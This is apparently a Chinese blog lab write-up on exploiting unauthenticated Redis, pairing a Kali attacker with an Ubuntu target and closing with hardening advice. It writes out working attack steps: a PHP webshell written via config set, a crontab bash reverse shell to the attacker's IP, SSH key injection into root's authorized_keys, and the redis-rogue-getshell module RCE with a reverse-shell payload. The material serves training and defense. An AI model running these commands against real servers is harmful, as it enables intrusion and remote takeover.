【4-unacc】redis未授权访问漏洞

实验目的

复现并分析【4-unacc】redis未授权访问漏洞,通过该漏洞利用多种方式达到反弹shell的效果。

技能增长

通过本次实验,可以了解redis未授权访问漏洞,学习有名的 Redis 未授权访问漏洞。

预备知识

Redis 是什么

通常而言目前的数据库分类有几种,包括 SQL(关系型数据库)/NoSQL(非关系型数据库),键值数据库等等,redis是一个单线程的NoSQL数据库,分类的标准也不一,Redis本质上也是一种键值数据库的,但它在保持键值数据库简单快捷特点的同时,又吸收了部分关系数据库的优点。
其主要用来做数据缓存,一般大型网站的应用和数据库之间的那一层就是Redis。比如京东商城的页面查找功能,用户接触到的查询的第一层就是Redis数据缓存层,缓存中找不到的数据,再进入数据库查询。Redis中缓存热点数据,能够保护数据库,提高查询效率。
NoSQL,泛指非关系型的数据库。随着互联网web2.0网站的兴起,传统的关系数据库在处理web2.0网站,特别是超大规模和高并发的SNS类型的web2.0纯动态网站已经显得力不从心,出现了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。NoSQL数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战,特别是大数据应用难题。
redis是将数据存放到内存中,由于内容存取速度快所以redis被广泛应用在互联网项目中
redis优点:存取速度快,官方称读取速度会达到30万次每秒,写速度在10万次每秒左右,具体限制于硬件。
缺点:对持久化支持不够良好。
所以redis一般不作为数据的主数据库存储,一般配合传统的关系型数据库使用.
Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库。它通过提供多种键值数据类型来适应不同场景下的存储需求,目前为止Redis支持的键值数据类型如下:
字符串类型 散列类型 列表类型 集合类型

redis的应用场景

缓存(数据查询、短连接、新闻内容、商品内容等等)。(最多使用) 分布式集群架构中的session分离。 聊天室的在线好友列表。 任务队列。(秒杀、抢购、12306等等) 应用排行榜。 网站访问统计。 数据过期处理(可以精确到毫秒)

漏洞影响版本
Redis 2.x,3.x,4.x,5.x

Redis的部署

首先是redis客户端的安装,如果kali不带客户端,需要手工装。使用以下命令即可:

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable/
make
ls
cp src/redis-cli /usr/bin/

接下来是redis服务端的安装,在靶机上安装:

wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar -zxvf redis-5.0.5.tar.gz
mv redis-5.0.5 /redis(移动到根目录)
cd /redis
Make
vim redis.conf

找到下面图片所示位置
在这里插入图片描述

两种情况会出现redis未授权访问
在没有设置密码认证 (一般为空)的情况下,将redis绑定到了0.0.0.0
在这里插入图片描述

在没有设置密码认证 (一般为空)的情况下,未绑定redis到任何地址(此时任何ip都可以访问),关闭了保护模式
在这里插入图片描述

其中任何一种情况都可;按i修改,修改好后按esc退出后:wq

cd src
暂时关闭防火墙systemctl stop firewalld或者对6379设置防火墙策略
cp /redis/src/redis-server /usr/bin/
cd ..

重新启动配置文件才会生效:redis-server redis.conf(在redis.conf文件目录下执行)
在这里插入图片描述
完成,切换到kali

redis-cli -h 靶机IP -p 6379

(1)原理

Redis默认情况下,会绑定0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则禁止其他非信任来源IP访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证 (一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据
攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥 写入目标服务器的/root/.ssh文件夹中authotrized_keys文件中,进而可以只用对应私钥直接使用ssh服务登录目标服务器。

(2)条件

redis绑定在0.0.0.0:6379,且没有添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务

(3)漏洞危害

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行来清空所有数据
攻击者可通过数据备份功能往磁盘写入后门程序
最严重的情况,如果Redis以root身份与运行,黑客可以给root账户写入SSH公钥文件直接通过SSH登录受害服务器

利用过程

nmap -A -p 6379 –script redis-info ip #扫描目标redis info
./redis-cli -h 192.168.1.111
192.168.1.111:6379> info
keys * #查看所有key
get key_name #查看key的值,例如get password
flushall #删除所有数据
del key #删除键为key的数据

部分服务器报错
在这里插入图片描述
-ERR Changing directory: No such file or directory
那么我们再在redis服务器那创建好/root/.ssh目录,模拟现实中很有可能对方是密钥登录有这个目录的情况下;
还可能不是linux服务器未使用密钥登录,而可能是目标为Windows服务器,肯定就没有 /root/.ssh目录了,可以使用
info
等命令搜集目标信息,确认其操作系统进行进一步渗透
另外对于
(error) ERR Changing directory: Permission denied
错误,可以尝试在其WEB服务目录写入一句话木马从而getshell或者在crontab里写定时任务来反弹shell等方法

(1)写入webshell

条件:
知道web根目录绝对路径
redis权限不是root,不过有web目录写权限
流程:
先确认存在redis未授权访问漏洞,并获取web根目录
连接redis服务端:redis-cli.exe -h [ip] -p [port]
进入根目录:config set dir [根目录绝对路径]
创建脚本文件:config set dbfilename shell.php
写入命令:set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
保存:save
访问shell.php即可

相关链接:https://blog.csdn.net/weixin_60719780/article/details/129310371
https://blog.csdn.net/qq_56289291/article/details/125645955

(2)在crontab里写定时任务反弹shell

条件:
centos:redis向任务计划文件写内容会出现乱码,centos会忽略乱码
权限可写计划任务
流程:

kali监听端口:nc -lvvp 8888
生成计划任务配置文件
redis-cli -h 靶机的ip -p 6379
set d "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.23.129/8888 0>&1\n\n" — 设置反弹shell脚本,键名为d
config set dir /var/spool/cron — 更改redis的工作目录到/var/spool/cron,这个目录是以账号来区分每个用户自己的计划任务,root用户的计划任务,以root文件名保存。
config set dbfilename root — 设置文件名
save — 将键d中的内容保存到/var/spool/cron/root文件中去

(3)写入ssh公钥,获取root权限

条件:
曾经使用过通过ssh密钥登录过服务器,有这个/root/.ssh/目录
使用root权限
开启了ssh密钥登录
流程:

用kali生成ssh公钥:ssh-keygen -t rsa

将公钥写入txt :(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > ./ssh.txt
将txt写入redis: cat ./ssh.txt | redis-cli -h 192.168.0.2 -x set ssh
redis-cli -h 192.168.0.2
config set dir /root/.ssh/
save
本地私钥连接:ssh -i /root/.ssh/id_rsa root@192.168.0.2

在这里插入图片描述

(4)自动RCE脚本

(1)任意命令执行:https://github.com/vulhub/redis-rogue-getshell
在脚本目录下执行如下代码

cd RedisModulesSDK/
make

python3 redis-master.py -r 192.168.0.2 -p 6379 -L 192.168.0.4 -P 8888 -f RedisModulesSDK/exp.so -c "bash -c 'bash -i >& /dev/tcp/192.168.0.4/6666 0>&1'"

漏洞描述
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库。Redis提供了多种语言的API。Redis默认使用6379端口
Redis未授权漏洞产生的原因 ---- Redis默认使用6379端口,并且Redis默认是空密码并且默认允许远程连接。一些管理员在安装好Redis之后,并没有修改它的默认端口。而且也没有设置密码的话,黑客就可以通过Redis数据库写入任意文件进行提权,从而操控该服务器。
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞危害:
攻击者可以通过此漏洞远程命令执行甚至是反弹shell
漏洞影响版本
Redis未授权访问在4.x/5.0.5以前版本下

实验环境

攻击机:
系统类别:Kali Linux
内核版本:Kali2020.1_x64
攻击机IP:192.168.0.4
目标机:
系统类别:Ubuntu
目标机IP:192.168.0.2
内核版本:Ubuntu_16.04
软件版本:redis-5.0.5

环境搭建

Redis的部署
首先是redis客户端的安装,新版kali不带客户端,需要手工装。平台上我已经搭建完毕,不用再安装了。
使用以下命令即可:

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable/
make
ls
cp src/redis-cli /usr/bin/

接下来是redis服务端的安装,我也已经搭建完成,不用再次搭建,是在靶机ubuntu上安装:

wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar -zxvf redis-5.0.5.tar.gz
mv redis-5.0.5 /redis(移动到根目录)
cd /redis
make
vim redis.conf

找到下面图片所示位置
在这里插入图片描述

有两种情况会出现redis未授权访问
1在没有设置密码认证 (一般为空)的情况下,将redis绑定到了0.0.0.0
在这里插入图片描述

2在没有设置密码认证 (一般为空)的情况下,未绑定redis到任何地址(此时任何ip都可以访问),还需要关闭保护模式
在这里插入图片描述

其中任何一种情况都可,实验环境使用的为第二种;按i修改,修改好后按esc退出后:wq

cd src
cp /redis/src/redis-server /usr/bin/
cd ..

重新启动配置文件才会生效:redis-server redis.conf(在redis.conf文件目录下执行)启动redis服务端完成
在这里插入图片描述

切换到kali

redis-cli -h 192.168.0.2 -p 6379

在这里插入图片描述

至此环境安装结束

漏洞验证

搭建好
连接成功就
可以先进行信息搜集
Info搜集目标信息
在这里插入图片描述

查看数据库中的键值对keys *
以及可以使用(慎用)该命令清空数据库Flushall
或者del key 删除键为key的数据
由于这里我们没有web根目录,我们利用第二种方式在crontab里写定时任务反弹shell,redis向任务计划文件写内容会出现乱码,centos会忽略乱码,这里是ubuntu的系统所以不会成功。
切换至kali虚拟机,使用开启一个监听,监听端口:nc -lvvp 6666
在这里插入图片描述

再开启一个kali的终端
生成计划任务配置文件

redis-cli -h 192.168.0.2 -p 6379

set d "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.4/6666 0>&1\n\n" — 设置反弹shell脚本,键名为d
config set dir /var/spool/cron — 更改redis的工作目录到/var/spool/cron,这个目录是以账号来区分每个用户自己的计划任务,root用户的计划任务,以root文件名保存。
config set dbfilename root — 设置文件名
save — 将键d中的内容保存到/var/spool/cron/root文件中去即可反弹shell,此处不适用。

使用第三种方法:
用kali生成ssh公钥:ssh-keygen -t rsa
在这里插入图片描述

第一处直接回车默认保存路径,第二处y覆盖,第三处设置新的密码,第4处重复输入密码

将公钥写入txt :

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > ./ssh.txt
将txt写入redis: cat ./ssh.txt | redis-cli -h 192.168.0.2 -x set ssh
redis-cli -h 192.168.0.2
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

在这里插入图片描述

本地私钥连接:ssh -i /root/.ssh/id_rsa root@192.168.0.2
在这里插入图片描述

这里输入你上面设置的密码即可
这里我们直接用第四种方法
进入kali的root目录下

cd redis-rogue-getshell-master/

进入redis-rogue-getshell-master/目录下

python3 redis-master.py -r 192.168.0.2 -p 6379 -L 192.168.0.4 -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述

存在任意命令执行,验证存在漏洞。

反弹shell

kali开启监听6666端口
在这里插入图片描述

进入kali的root目录下
cd redis-rogue-getshell-master/
进入redis-rogue-getshell-master/目录下执行以下命令
python3 redis-master.py -r 192.168.0.2 -p 6379 -L 192.168.0.4 -P 8888 -f RedisModulesSDK/exp.so -c "bash -c 'bash -i >& /dev/tcp/192.168.0.4/6666 0>&1'"

漏洞分析

漏洞产生条件:
.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
.没有设置密码认证(默认为空),可以免密码远程登录redis服务。
文件写入原理
因为redis-cli远程连接redis之后,除了可以查看内存中的键值对外还可以使用config set dir xxx、config set dbfilename xxx等命令,在权限足够的情况下可以实现在任意路径写入任意内容。如果将dbfilename指定为web网站的某个目录下通过写入特定内容生成webshell,如果将dbfilename指定为ssh公钥存放的目录,这样就产生了ssh远程登录的漏洞…

漏洞修复

一些防范措施如下:
1.禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
来禁用远程修改 DB 文件地址
2.以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
root权限去运行redis服务是很危险的。
3.为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
4.禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
上面的演示就说明了不实用bind的糟糕结果,bind 127.0.0.1可以有效的限制外网访问redis。
5.保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
这个很重要,最后写公钥方法即使利用这个写了一个这个文件,从而实现ssh连接服务器getshell。
6.修改默认端口
7.设置防火墙策略

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值